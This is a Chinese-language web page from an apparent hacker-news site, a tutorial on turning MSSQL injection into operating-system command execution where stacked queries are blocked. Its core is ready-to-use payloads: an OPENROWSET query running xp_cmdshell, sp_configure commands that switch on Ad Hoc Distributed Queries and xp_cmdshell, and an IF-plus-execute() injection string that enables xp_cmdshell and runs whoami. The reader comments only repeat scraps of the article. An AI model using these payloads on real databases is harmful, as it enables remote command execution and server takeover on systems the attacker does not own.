MSSQL注入 突破不能堆叠的限制执行系统命令

MSSQL注入 突破不能堆叠的限制执行系统命令

黑客教程访客2021-10-07 0:17:0012465A+A-

使用 openrowset

这是网上流传比较广的一种,使用 openrowset 来执行,突破不能堆叠的限制,语法格式如下:

OPENROWSET
( { 'provider_name' 
    , { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
    , {   <table_or_view> | 'query' }
   | BULK 'data_file' ,
       { FORMATFILE = 'format_file_path' [ <bulk_options> ]
       | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )

payload

select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set 
fmtonly off 
exec master..xp_cmdshell ''dir c:''with RESULT SETS((a varchar(max)))'
)

在平常渗透测试中,这个技巧更多的时候用在切换高权限用户的时候,在 sqlmap\data\procs\mssqlserver 下的 run_statement_as_user.sql 中,我们可以看到常用的 payload

但是该方法在实际的运用中局限性还是很大的,因为在 mssql2005 及其以后,mssql对系统存储过程做了权限控制,Ad Hoc Distributed Queries 组件默认是不被启用的。

  • 开启 Ad Hoc Distributed Queries 组件
exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
  • 关闭 Ad Hoc Distributed Queries 组件
exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure exec sp_configure 'show advanced options',0 reconfigure
  • 查看是否开启相关存储
select  name,value_in_use from sys.configurations where name like '%Ad Hoc Distributed Queries%'

select  name,value_in_use from sys.configurations where name like '%cmdshell%'

 

开启后再来执行执行可以看到顺利执行了。

使用 exec\execute

 

因为 方法1 的局限性太大了,翻了半天资料没有找到相应的方法,只能自己动手。在同事@子云爸爸 的帮助下,终于瞎几把摸索出一个新的方式去突破无法堆叠的问题。

那么 exec 真的需要多句才能执行吗?,来直接看 payload 吧

if 语句的表达式如下,也就是说,我们是可以借助 if 来执行 sql_statement,那么只要你能在你的注入点构造一个 if 出来,不需要环境支持堆叠也可以达到堆叠的效果。

IF Boolean_expression   
     { sql_statement | statement_block }   
[ ELSE   
     { sql_statement | statement_block } ]

完整的 payload

select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'', 
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell 
''whoami'''
);

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 5条评论
  • 笙沉卿绡2022-06-01 01:14:16
  • 。在同事@子云爸爸 的帮助下,终于瞎几把摸索出一个新的方式去突破无法堆叠的问题。那么 exec 真的需要多句才能执行吗?,来直接看 payload 吧if 语句的表达式如
  • 姐姐你玩不起。12022-06-01 00:52:07
  • e('exec sp_configure ''show advanced options'', 1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;r
  • 余安渊鱼2022-06-01 05:26:09
  • 构造一个 if 出来,不需要环境支持堆叠也可以达到堆叠的效果。IF Boolean_expression        { sql_statement | statement_
  • 晴枙浊厌2022-05-31 21:37:32
  • econfigure exec sp_configure 'show advanced options',0 reconfigure查看是否开启相关存储select  name,value_in_use from sys.configur
  • 余安昭浅2022-05-31 19:20:19
  • 'format_file_path' [ <bulk_options> ]       | SINGLE_BLOB | SINGLE_CLOB | SI

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理